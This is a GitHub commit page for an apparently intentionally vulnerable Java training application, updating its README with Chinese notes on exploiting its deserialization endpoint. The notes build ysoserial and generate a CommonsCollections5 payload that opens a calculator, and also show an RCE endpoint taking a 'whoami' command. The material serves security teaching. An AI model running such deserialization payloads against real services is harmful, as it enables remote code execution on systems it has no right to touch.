Skip to content

Commit 4b75876

Browse files
committed
update deserialize
1 parent 3bfa7f9 commit 4b75876

File tree

3 files changed

+16
-2
lines changed

3 files changed

+16
-2
lines changed

README.md

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,4 +57,18 @@ http://localhost:8080/rce/exec?cmd=whoami
5757

5858
```
5959
Viarus
60-
```
60+
```
61+
62+
## 说明
63+
64+
### 反序列化
65+
66+
利用ysoserial构造POC
67+
68+
```
69+
git clone https://github.com/frohoff/ysoserial.git
70+
mvn clean package -DskipTests
71+
java -jar /Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'open /Applications/Calculator.app' > /tmp/poc
72+
```
73+
74+
访问`http://localhost:8080/deserialize/test`即可弹窗

poc

-1.81 KB
Binary file not shown.

src/main/java/org/joychou/controller/Deserialize.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
/**
1313
* @author: JoyChou
1414
* @Date: 2018年06月14日
15-
* @Desc: 将根目录的poc放到/tmp/poc就能在mac上弹计算器。该应用必须有Commons-Collections包才能利用反序列化。
15+
* @Desc: 该应用必须有Commons-Collections包才能利用反序列化。
1616
*/
1717

1818
@Controller

0 commit comments

Comments
 (0)